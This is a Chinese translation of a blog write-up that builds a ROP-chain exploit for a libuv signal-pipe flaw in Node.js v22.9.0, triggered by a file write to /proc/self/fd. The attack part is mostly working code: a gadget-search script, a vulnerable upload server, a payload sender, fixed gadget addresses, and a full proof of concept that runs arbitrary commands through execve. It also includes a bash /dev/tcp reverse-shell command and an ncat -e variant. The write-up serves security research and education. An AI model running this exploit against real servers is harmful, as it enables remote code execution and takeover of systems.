针对Node.js构建ROP链

本文延续了Stefan Schiller发现的Node.js文件写入漏洞,并详细阐述了利用该漏洞的过程,尤其是如何构建ROP链以实现代码执行。文章通过具体示例和代码展示了相关技术细节,包括如何找到可利用的gadget,构造有效的payload,以及如何在Node.js应用中成功执行命令。

介绍

这篇文章是对 Stefan Schiller 在 Node.js 中发现的文件写入漏洞的延续,该漏洞于 2024 年 10 月 8 日发布在 Sonar 上。原始文章可以在 这里 找到,他在 Hexacon 上的演讲可以在 这里 找到。

在 2024 年 12 月,我的大老板 lean 联系我,让我为这个漏洞制作一个 PoC,作为 CTF 挑战的一部分。我们搜索了一下,看看是否已经有 PoC 被开发出来,结果什么也没有发现。显然我们没有搜索得足够好,在我开发 PoC 的过程中,lean 告诉我他发现 Jorian Woltjer 在博客发布后仅 5 天就已经开发了一个利用。因此,恭喜 Jorian 发布了这个漏洞的第一个(如果我没记错的话,也是唯一的)公开 PoC。他的利用可以在 这里 找到。

不过,这并没有阻止我完成利用和创建这篇文章。这样做的主要原因是,尽管这个漏洞是非常简单的,但利用的过程在简单和有一定挑战性之间取得了良好的平衡。

我们将很快深入细节,但如前所述,这更多的是关于工程利用的内容,而不是其他方面。利用技术是 ROP。ROP 是 pwn CTF 挑战的重要组成部分,因此大多数人都熟悉这种技术,即使他们不在现实世界的漏洞上进行利用开发。在继续阅读之前,我建议你 停止,阅读原始文章,并尝试自己编写利用。我觉得这是一个非常好的项目,并将你的 CTF 技能用于一些现实世界的事情,即使 ROP 的流行程度近年来有所下降。如果你有 pwn 的经验,我相信你能做到 :).

Lean 帮助我进行了初步研究,我大部分时间都是独自继续开发 ropchain。然而这并没有阻止我和他进行通话,并向他发送关于 UTF-8 和 sys_execve 的沮丧的随机消息。

对这篇文章内容的回顾

我不会解释目标的所有技术细节,因为你可以阅读原始文章。但是我将提供一个快速回顾,说明正在发生什么。

文件上传是攻陷网站的常见途径。如果在应用级别和系统级别实施不当,它们的影响可以从覆盖文件到甚至代码执行,这正是大多数攻击者所追求的。然而,如果看上去什么都没有出错怎么办?语言不允许上传和执行任意文件( PHP ),而且没有其他代码会导致其他结果。其实,如果文件系统上的所有内容都是只读的,我们甚至无法覆盖文件。如何在这个加固的环境中实现代码执行?这就是 Sonar 团队提出的问题。

他们将目光转向了 /proc 文件系统,因为它在 UNIX 系统中的普遍性,保存的多个有趣数据,以及尽管环境已经加固,仍能与其交互的能力。事实上,最近(截至撰写时为 6 小时)在 LiveOverflow 上发布的这个视频展示了为什么 procfs 文件系统可以并且应该被考虑,如果你通过目标系统上的某个应用具有读/写能力(CTF 场景,但仍然如此)。在我们的案例中,Node.js 已经打开了 匿名管道,我们可以与之交互。为此,可以向其中一个管道发送任何内容(echo),看看 Node.js 进程的行为。

这些匿名管道是由 libuv 库创建和处理的。因此,无论在这些管道上发生什么,无论传递和写入什么,都由这个库来管理。如果这个库允许某人轻易地获得执行控制,那将是非常糟糕的...

这正是 uv__signal_event 中可能发生的情况,该函数读取传递给管道的数据,并最终调用传递给函数指针 signal_cb 的内容。由于我们控制发送到管道的数据,因此函数指针是攻击者控制的。如果我们找到一种方法将我们的数据传递给它并到达执行函数指针的代码,我们就可以开始我们的利用链。以下是相关代码片段供参考

// libuv/src/unix/signal.c

static void uv__signal_event(uv_loop_t* loop,
                             uv__io_t* w,
                             unsigned int events) {
  uv__signal_msg_t* msg;
  uv_signal_t* handle;
  char buf[sizeof(uv__signal_msg_t) * 32];
  ...
  do {
    r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes); // 将受控数据读取到 buf 中
    ...
    for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
      msg = (uv__signal_msg_t*) (buf + i); // 攻击者控制
      handle = msg->handle; // 攻击者控制

      // 我们控制这两个
      if (msg->signum == handle->signum) {
        // 我们也可以绕过这个
        assert(!(handle->flags & UV_HANDLE_CLOSING));
        handle->signal_cb(handle, handle->signum); // 攻击者控制的指针
      }
    ...
  }
  ...
}

我们选择使用 ropchain 的原因是,因为利用并不简陋,像仅仅传递类似 system 的函数作为 signal_cb 和我们需要的命令。我们需要更好地控制如何传递各种内容,而 ROP 让我们能够做到这一点。此外,Node.js 禁用了 PIE,地址是固定的。这将使利用和使用 gadgets 更简单,正如我们所看到的(但并不真的容易...)。

关于 Gadgets 的说明

Sonar 撰写的很大一部分内容是为了说明我们可以使用的 gadgets 的限制。

基于上述讨论,第一个 gadget 需要有指向正确 gadget 的指针(具体来说是 +0x60)的偏移位置。Sonar 开发了一个脚本来自动化寻找这样的 gadget 的过程,因为没有工具可以处理如此具体的任务。我们重复了这个脚本,以确保找到一个有效的第一个 gadget。我们尽力使 Sonar 中的核心指令保持一致,同时填补其余部分

from capstone import *
from pwn import *

def is_valid_utf8(val):
    data = bytes.fromhex(f'{val:08x}')
    data_bytes = [val >> 8 * i & 0xff for i in range(4)]
    return all(0x0 <= byte <= 0x7e for byte in data_bytes)

def read_mem(addr, wsize):
    try:
    # 不是最好的,但是没关系,它可以工作
        return u64(node.read(addr, wsize)) if wsize == 8 else node.read(addr, wsize)
    except:
        return None

def is_mapped(ptr):
    # 不见得为什么这需要存在,因为我们检查的是页面是否有 x 权限,但好吧
    return True

def is_executable(ptr):
    for segment in executable_segments:
        sh = segment.header
        base, size = sh.p_paddr, sh.p_memsz
        segment_range = range(base, base + size)
        if ptr in segment_range:
            return True
    return False

def is_useful_gadget(potential_gadget):
    # 只需检查字节 0xc3 (ret) 是否在字节中
    return True if b'\xc3' in potential_gadget else False

def disassemble(code):
    code = code.split(b'\xc3')[0] + b'\xc3'
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    disasm = ''
    for instr in md.disasm(code, 0x1000):
        if instr.mnemonic == 'ret':
            break
        disasm += f'{instr.mnemonic} {instr.op_str}; '
    return disasm + 'ret;'

def main():
    with open(fnode, 'rb') as elffile:
        nodejs_segments = []
        for section in node.sections:
            sh = section.header
            addr = sh.sh_addr
            size = sh.sh_size
            if addr == 0:
                continue
            nodejs_segments.append((addr, size))
        nodejs_segments = nodejs_segments[:-2] # 用于完成的临时黑客
        for addr, size in nodejs_segments:
            for offset in range(size - 7):
                if not is_valid_utf8(addr + offset - 0x60):
                    continue
                temp = read_mem(addr + offset - 0x8, 1)
                if temp == None:
                    continue
                assert_byte = int.from_bytes(temp, 'little')
                if assert_byte & 1 != 0:
                    continue
                ptr = read_mem(addr + offset, 8)
                if is_mapped(ptr) and is_executable(ptr):
                    code = read_mem(ptr, 0x18)
                    if is_useful_gadget(code):
                        signum = read_mem(addr + offset + 0x8, 4)
                        print(f'{hex(addr+offset-0x60)} (+0x60) (signum:{hex(u32(signum))}) -> {hex(ptr)}: {disassemble(code)}')

if __name__ == '__main__':
    fnode = '/path/to/bin/node'
    node = ELF(fnode)
    executable_segments = node.executable_segments
    main()

在我们开始之前需要说明的最后一点是,Node.js 中使用的 fs.writeFile,在我们的示例中用于读取我们上传的文件,仅接受 UTF-8 数据。这意味着可以看到的字节范围为[0x0, 0x7e]。这是一个需要考虑的重要限制。

创建我们的测试环境

我们需要做的第一件事情是获得一个 Node.js 二进制文件,理想情况下是用来检查一些事情的版本。如果我们密切关注的话,我们会发现文章中使用的是 Node.js 版本 22.9.0,而在 概念验证演示视频 中使用的是 v22.8.0。显然,变化不会太多,但不同版本之间可能会不同的 gadget 偏移仍然成立。有些版本可能会在更有利的地址中编译出 gadgets。我决定继续使用 22.9.0。你可以从 这里 获得一个 .tar,或者你可以从 这里 从源码构建它。起初,我使用了源代码,以便我能够在 libuv 内部打印调试语句作为开发,后来在 tar 中使用了二进制文件。谢天谢地,这两个都是编译有调试符号的(谢谢 Node.js 组织;)。

至于 libuv,为了找到目标函数,我们可以去它的 github 仓库中搜索符号 uv__signal_event。所需的行已包含在上面,但是在代码库中找到我们想要的总是很重要。我们在 这里 找到了这个函数以及 这里 控制函数指针的行。同时,我们也可以在 node 项目文件系统的 deps 目录下找到 libuv 源代码

ckrielle@mobileckriellostation:~/Hacking/Research/Lean_Shit/node_rop$ find . -name 'signal.c'
./node-22.9.0/deps/uv/src/unix/signal.c
./node-22.9.0/deps/uv/src/win/signal.c

现在我们拥有了二进制文件和目标代码,我们需要看看如何获得对该功能的访问。由于我们可以在写入管道后进入,因此我们可以尝试在 gdb 下打开 Node.js,在 uv__signal_event 处设置一个断点,并写入某些内容于管道,看看断点是否被击中。然而并不清楚哪个是正确的管道

$ ls -al /proc/`pidof node`/fd
total 0
dr-x------ 2 ckrielle ckrielle  0 Feb 24 15:32 .
dr-xr-xr-x 9 ckrielle ckrielle  0 Feb 24 15:32 ..
lrwx------ 1 ckrielle ckrielle 64 Feb 24 15:32 0 -> /dev/pts/0
lrwx------ 1 ckrielle ckrielle 64 Feb 24 15:32 1 -> /dev/pts/0
lr-x------ 1 ckrielle ckrielle 64 Feb 24 15:32 10 -> 'pipe:[25403]'
l-wx------ 1 ckrielle ckrielle 64 Feb 24 15:32 11 -> 'pipe:[25403]'
lrwx------ 1 ckrielle ckrielle 64 Feb 24 15:32 12 -> 'anon_inode:[eventfd]'
lrwx------ 1 ckrielle ckrielle 64 Feb 24 15:32 13 -> 'anon_inode:[eventpoll]'
lr-x------ 1 ckrielle ckrielle 64 Feb 24 15:32 14 -> 'pipe:[23075]'
l-wx------ 1 ckrielle ckrielle 64 Feb 24 15:32 15 -> 'pipe:[23075]'
...

通过一些反复试验,10 和 11 适用。稍后将对此有更多讨论。所以让我们试图触发这个功能

断点命中

并且继续执行一些操作,以查看 read 的调用是否成功

成功读取

在开始利用之前的最后一件事是设置文件写入服务器和发送有效载荷的脚本

// index.js

const express = require("express");
const fs = require("fs");
const app = express();

app.use(express.json());

app.post("/upload", (req, res) => {
    const { filename, content } = req.body;
    fs.writeFile(filename, content, () => {
        res.json({ message: "文件上传成功!" });
    });
});

app.listen(3000, () => {
    console.log("服务器在 3000 端口启动");
    console.log("当前 PID:", process.pid);
});
## test_poc.py

import requests

url = "http://127.0.0.1:3000/upload"
data = {}
data["filename"] = "../../../../../../../../../../proc/self/fd/10"
data["content"] = open('payload.bin').read()
r = requests.post(url, json=data)
print(r.json())

这些文件与演示中提供的文件非常相似。

工程链

如何实现代码执行

现在一切准备就绪,第一个问题是我们利用的最终目标是什么。由于 Sonar 演示了一个反向 shell,我们也希望达到这个目标。如果我们能够获得反向 shell,那么我们只需修改我们的利用以允许任意命令执行。那么下一个问题是,我们如何实现代码执行?原始文章提到我们需要使用已经在二进制文件中的内容。我们通过 grep 搜索导入的符号,获得了有趣的结果

$ objdump -T ../node-v22.9.0-linux-x64/bin/node | grep exec
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) execvp
...
pwndbg> x 'execvp@plt'
0xe08d10 <execvp@plt>:  0x884225ff

然而它的地址不是 UTF-8。另一个方法是搜索 syscall gadget。这样,我们可以调用 execve syscall。这也得到了搜索结果

$ grep syscall normal_gadgets
0x00000000015d247d: adc dword ptr [rcx - 0x77], ecx; xchg esi, eax; syscall;
0x000000000111ee83: adc dword ptr [rsi], edx; syscall;
0x000000000269a890: add al, ch; stosb byte ptr [rdi], al; syscall;
0x000000000102913b: add al, ch; syscall;
...

但是它们要么不是 UTF-8,要么具有奇怪的指令,会需要我们设置其他寄存器才能正确执行,或者根本不执行 ret。唯一“干净”的 gadget 是

0x000000000111ef40: syscall; ret;

但是这一点也不是 UTF-8 地址。因此,显然我们需要通过其他 gadgets 动态改变我们执行的地址。这是一个典型情形,甚至 ROP Emporium 通过挑战 badchars 为你准备了这个问题。问题是,我们调用 execvp,还是使用 syscall gadget?为了解决这个问题,让我们转向另一个问题。

传递命令

无论我们使用 execvp 还是 sys_execve,重要的问题是我们如何传递要执行的程序?例如,在 pwn 挑战中,最终的目标通常是产生一个 shell,字符串 /bin/sh 存在于 libc 中。但是在这里我们不能期望在 Node.js 中找到指令的字符串。例如 sys_execve。下面是一个测试 C 程序,用于说明如何调用 syscall execve

##include <stdio.h>
##include <unistd.h>
##include <stdlib.h>

int main()
{
    char* command = "/usr/bin/touch";
    char* argument_list[] = {"/usr/bin/touch", "/tmp/example", NULL};

    long status_code;
    __asm__(
        "movq $59, %%rax;"
        "movq %1, %%rdi;"
        "movq %2, %%rsi;"
        "movq $0, %%rdx;"
        "syscall;"
        "movq %%rax, %0;"
        : "=r" (status_code)
        : "r" (command), "r" (argument_list)
        : "%rax", "%rdi", "%rsi", "%rdx"
    );

    return 0;
}

这是执行 syscall 之前的运行时状态

execve 调用

正如我们所看到的,第一参数是指向命令的指针,第二个参数是指向命令参数指针数组的指针。在这里就出现了一些问题。首先,如果我们将命令传递给链并发送,它将被写入堆栈,我们无法找到其地址。而且我们如何才能在argv参数中写入字符串的指针,而不知道堆栈地址呢?利用堆栈来存储执行的命令是完全不可能的。我们需要将命令和所有必要的指针存储在 Node.js 地址空间内的一个位置,且该位置既可写,又在每次加载时保持固定的地址。由于禁用了 PIE,所以 .data 段是一个完美的目标。

0x61e2000          0x620c000 rw-p    2a000 5de1000 /home/ckrielle/Hacking/Research/Lean_Shit/node_rop/node-v22.9.0-linux-x64/bin/node

但是,第二个问题是,当我们在 uv__signal_event 中执行 read 时,数据将被写入堆栈。这是我们唯一可用的 read。无法指向 .data 以使其他读取。因此,syscall gadget 扮演了重要角色。我们可以执行一个 sys_read,我们可以为此指定一个 .data 的指针。至于如何发送数据,我们将实际的链补齐至 0x200(初始读取大小限制)。然后其余字节将是我们的命令和指针,这些将存储在我们受控的管道 FD 的缓冲区中,以等待被读取。这样,我们就释放了许多字节来在我们的 ropchain 中使用,并将组织 sys_execve 数据的问题移到其他地方。


在我们继续之前,让我们回顾一下:

  1. 我们将使用 syscall gadget,因为它让我们能够读取我们想要的 sys_execve 数据
  2. 对于 sys_execve 数据,我们需要正确构造它们以便 syscall 可以使用
  3. 我们需要找到在链运行期间会产生 syscall gadget 的 gadgets 和数值
  4. 最后,我们显然必须在每次 syscall 之前填充相应的寄存器

寻找我们的 Gadgets

这些将是我们的 gadgets。重点是找到 UTF-8 地址,即使以牺牲某些不只是 <pop/push/mov> <reg>[, <reg>]; ret; 的 gadgets 为代价。

0x04354c41 # 0x4354c41 (+0x60) (signum:0x4032d00) -> 0x12d0000: pop rsi; pop r15; pop rbp; ret;
0x01454544 # pop rax; ret;
0x021f6b5f # pop rdi; sbb bl, dh; ret;
0x02342222 # pop rdx; ret;
0x012d0000 # pop rsi; pop r15; pop rbp; ret;
0x01283115 # mov rcx, rax; test rdx, rdx; jne 0xe83100; mov qword ptr [rdi + 0x10], 0; ret;
0x01313327 # sub rax, rdi; ret;
0x0112043b # push rcx; ret;

按照出现顺序:

  1. 第一个 gadget 包含指向一个干净且有用的第一 gadget 的 signum,从我们的自定义脚本中找到
  2. 一个 gadget,用于将数据传递到 rax,我们的 syscall 数字和其他一些数据
  3. 一个 gadget,用于将数据传递到 rdi。这是我找到的最有用且干净的 pop rdi gadget,而 sbb bl, dh对我们没太大影响。syscalls 的第一个参数
  4. 一个 gadget,用于将数据传递到 rdx,我们 syscall 的第三个参数
  5. 从 signum 指向的相同 gadget,主要用于将数据传递到 rsi,我们的 syscalls 的第二个参数。无暇再找一个更干净的 gadget,保持更多寄存器。

最后 3 个 gadgets 是配对在一起,因为它们关心 syscall gadget。前面的 sub gadget 是先前提到的需要在运行时改变 syscall gadget 地址的 gadget。我们将在微调其值并提前传递至 raxrdi 两个数值后,得到了 0x0111ef40。此后,我们找到这个 push rcx gadget,我们可以在想要执行它的时候将 syscall gadget 推入我们的链中。然后问题变得复杂:我们如何将值从 rax 移动到 rcx。我找到了这个 gadget(7),尽管它似乎有恼人的指令,但实际上可以轻松使用。由于我们可以将任何值传递给 rdx,所以我们可以失败检查,不采取跳转,继续执行 mov。至于解引用,由于:

  1. 我们可以将任何值传递给 rdi,而且
  2. 我们拥有已知地址的可写页面

我们可以将空字节写到有效地址,而不造成崩溃。所以它可以用来将 syscall 移动到 rcx。通过这些 gadgets,我们既可以改变 syscall 的值,也可以为我们的链填入任何可能重要的数值。

编写和调试链

理解上述细节后,编写链并不困难。一旦我们能够实现第一个 syscall( sys_read),我们已经证明理论上可以调用任何我们想要的 syscall。那么实现 sys_execve 的路途并不复杂,只是有些麻烦。

第一个难题是 sys_execve 期望我们以何种形式传递它的参数。这已在前面讨论过,但我花了一些时间才理解它们到底是如何期望被传递的(我不知道0个参数为什么可以是垃圾,但第一参数必须是实际的第一个参数)。我也没有帮助自己,手动编写了指针和偏移量。参考之前的代码,以下是更改前后的结果

## 更改前
payload += b'/usr/bin/touch\x00AAAAAAAA\x00/tmp/pwned\x00' + b'\x00' * 5
payload += p64(bss)
payload += p64(bss+offset+0xf)
payload += p64(bss+offset+0x18)
payload += p64(0x0)
payload += p64(bss+offset+0x30)

---

## 更改后
def construct_execve_cmd(cmds):
    null_cmd = b'\x00'.join(cmds)
    null_cmd += b'\x00' * (8 - len(null_cmd) % 8)
    argv_offsets = [0] + [len(c)+1 for c in cmds[:-1]] # +1 for null 字节
    argv_offsets.append(len(cmds[-1]))

    chain = b'\x00' * offset
    chain += null_cmd
    for i in range(1, len(argv_offsets)):
        chain += p64(bss+offset+sum(argv_offsets[:i]))
    chain += p64(null)

    return null_cmd, chain

construct_execve_cmd([b'/usr/bin/touch', '/tmp/pwned'])

手动方式虽简单,但这个函数适用于任意指令,并实现了整个过程的自动化,每次生成正确的结果,而不是凭眼睛目测和出错。自动化程度越高,越能节省珍贵的时间、精力。

此外,我起初试图立即执行一个反向 shell,但 lean 让我去尝试更简单的命令验证,比如 touch /tmp/pwned。这证明是有帮助的,因为当链最终成功运行且 sys_execve 执行命令后,我知道链是正确的,我只需专注于执行命令的最佳方法。

最后一个问题是在成功实现任意文件创建后,我该如何获取反向 shell。起初,我尝试运行一个简单的 ncat <ip> <port> -e /bin/sh。虽然它在我编写的 execve 测试程序中工作,并且在利用中成功连接到我的监听者,但它从未能生成一个 shell。所以选择以 Debug 的方式修复根本原因的方法,或者实验不同的 payloads 直到有一个有效。在尝试过各种不同 payload 和执行它们的方法(以及传递数据给 execve 的方式)后,我发现使用 /bin/bashpayload /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1 是足够的,可以弹出一个 shell。

和大老板 lean 共享我的 shell

以下是一个终端捕捉,显示我们的 PoC 执行情况

Node.js v22.9.0 ROPChain RCE PoC - YouTube

PoC 源码

以下是成型概念验证的利用。请注意,这只会在我测试的 Node.js v22.9.0 版本上运行,不保证这些 gadgets 存在于任何其他 Node.js 版本上。

from pwn import *
import sys

## values
sys_execve   = 0x3b
sys_read     = 0x0
sys_diff_val = 0x7300f40
signum       = 0x4032d00
bss          = 0x61e2000
target_fd    = 0xa
offset       = 0x18 # 因为 mov qword ptr [rdi + 0x10], 0; 在 mov_rcx_rax 中
bss_junk     = bss + 0x1000
null         = 0x0
read_size    = 0x200

## gadgets
init            = 0x04354c41 # 0x4354c41 (+0x60) (signum:0x4032d00) -> 0x12d0000: pop rsi; pop r15; pop rbp; ret;
pop_rax         = 0x01454544 # pop rax; ret;
pop_rdi         = 0x021f6b5f # pop rdi; sbb bl, dh; ret;
pop_rdx         = 0x02342222 # pop rdx; ret;
pop_rsi_r15_rbp = 0x012d0000 # pop rsi; pop r15; pop rbp; ret;
mov_rcx_rax     = 0x01283115 # mov rcx, rax; test rdx, rdx; jne 0xe83100; mov qword ptr [rdi + 0x10], 0; ret;
sub_rax_rdi     = 0x01313327 # sub rax, rdi; ret;
push_rcx        = 0x0112043b # push rcx; ret;
syscall         = 0x0111ef40 # syscall; ret;
ret             = 0x013f0f00 # ret;

def init_ropchain():
    chain =  p64(init)
    chain += p64(signum)

    return chain

def construct_syscall_chain():
    chain =  p64(pop_rax)
    chain += p64(sys_diff_val)
    chain += p64(pop_rdi)
    chain += p64(bss) # 设置 rdi 为 bss,以便在 mov_rcx_rax 下有效解引用
    chain += p64(sub_rax_rdi)
    chain += p64(pop_rdx)
    chain += p64(null)
    chain += p64(mov_rcx_rax)

    return chain

def populate_syscall_regs(rax, rdi, rsi, rdx):
    chain =  p64(pop_rdi)
    chain += p64(rdi)
    chain += p64(pop_rax)
    chain += p64(rax)
    chain += p64(pop_rsi_r15_rbp)
    chain += p64(rsi)
    chain += p64(ret)
    chain += p64(bss_junk)
    chain += p64(pop_rdx)

    return chain

def push_syscall_gadget():
    chain = p64(push_rcx)

    return chain

def pad_chain(length):
    return p64(ret) * ((read_size - length) // 8) # 用 ret 填充初始读取(为 0x200 字节)

def construct_execve_cmd(cmds):
    null_cmd = b'\x00'.join(cmds)
    null_cmd += b'\x00' * (8 - len(null_cmd) % 8)
    argv_offsets = [0] + [len(c)+1 for c in cmds[:-1]] # +1 为 null 字节
    argv_offsets.append(len(cmds[-1]))

    chain = b'\x00' * offset
    chain += null_cmd
    for i in range(1, len(argv_offsets)):
        chain += p64(bss+offset+sum(argv_offsets[:i]))
    chain += p64(null)

    return null_cmd, chain

if len(sys.argv) != 2:
    print('用法: python xpl.py <命令>')
    sys.exit(1)

print('[*] 初始化链')
payload = init_ropchain()

print('[*] 构建 sys_read 调用')
payload += construct_syscall_chain()
payload += populate_syscall_regs(sys_read, target_fd, bss, read_size)
payload += push_syscall_gadget()

print('[*] 创建 sys_execve 命令')
cmd, cmd_payload = construct_execve_cmd([b'/bin/bash', b'-c', sys.argv[1].encode()])

print('[*] 构建 sys_execve 调用')
payload += construct_syscall_chain()
payload += populate_syscall_regs(sys_execve, bss+offset, bss+offset+len(cmd), null)
payload += push_syscall_gadget()
payload += pad_chain(len(payload))
payload += cmd_payload

print(f'[*] 构建的 ropchain 长度: {hex(len(payload))}')

with open('payload.bin', 'wb') as f:
    f.write(payload)

print('[*] 有效载荷已写入 ./payload.bin')

未来的工作

尽管 PoC 完全有效,但仍有一些地方可以改进和进一步探索:

  1. 在视频中显示了 15 是使用的管道。然而,当我们向 15 写入时,Node.js 直接崩溃了。如果我们调试它,可以看到链已被 Node.js 成功读取,但 syscalls 没有执行。在真实的利用场景中,这需要考虑,因为崩溃目标网络应用程序可能会引起不必要的警报。这可以通过链的一部分进行某些检查来实现(例如,检查 sys_read 是否通过检查 rax 被执行,或者数据是否写入 .data
  2. 由于我们动态创建了 syscall gadget 的地址,我们可以将其存储在保持不变的某个寄存器中,然后每当我们想要调用 syscall 时只需将其推入堆栈。然而,我认为这个没有必要,因为那意味着寻找有用的 gadgets,如果能有效果,那就行
  3. 该利用依赖于 PIE 被禁用这一事实。如有可能使未来编译为启用 PIE 的 Node.js 版本的链进行研究也是必要的

还有更重要的事项:

  1. 创建一个工具,该工具接收 node 二进制文件和 gadgets 列表(由任何工具生成),并自动生成有效 ropchain
  2. 原始撰写的最后一段提到其他语言,如 julia 也使用 libuv。对此进行分析及其潜在的漏洞利用将引发更高的意识,有助于解决此“特性”的问题

    结论和感谢

    首先,我想感谢 lean 向我提出这个想法。尽管我们没有将其转化为 CTF 挑战,但我希望这篇笔记能为很多人提供良好的资源。

也非常感谢 VR 的总裁、mad chainz 的持有者 young vats,对这篇笔记的氛围把控。

从这个漏洞中产生的一个好问题是:谁应该去修复它?与 vats 讨论后,Node.js 应该承担更多的责任,而不是 libuv。Node 二进制文件不仅在没有 PIE 的情况下被编译,而且也没有被沙盒化。如果 /proc 文件系统没有暴露,这显然就不会存在这个攻击。

无论如何,我希望你喜欢我为 i0 写的第一篇笔记。如果你想反馈或联系我,欢迎随时通过我的 X 个人资料 找到我。期待下次见面 :)

参考文献

https://www.youtube.com/watch?v=8FFsORk8snE https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/ https://docs.libuv.org/en/v1.x/ https://github.com/libuv/libuv/blob/ec5a4b54f7da7eeb01679005c615fee9633cdb3b/src/unix/signal.c#L478 https://syscalls64.paolostivanin.com/

  • 原文链接: i0.rs/blog/engineering-a...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
i0rs_blog
i0rs_blog
江湖只有他的大名,没有他的介绍。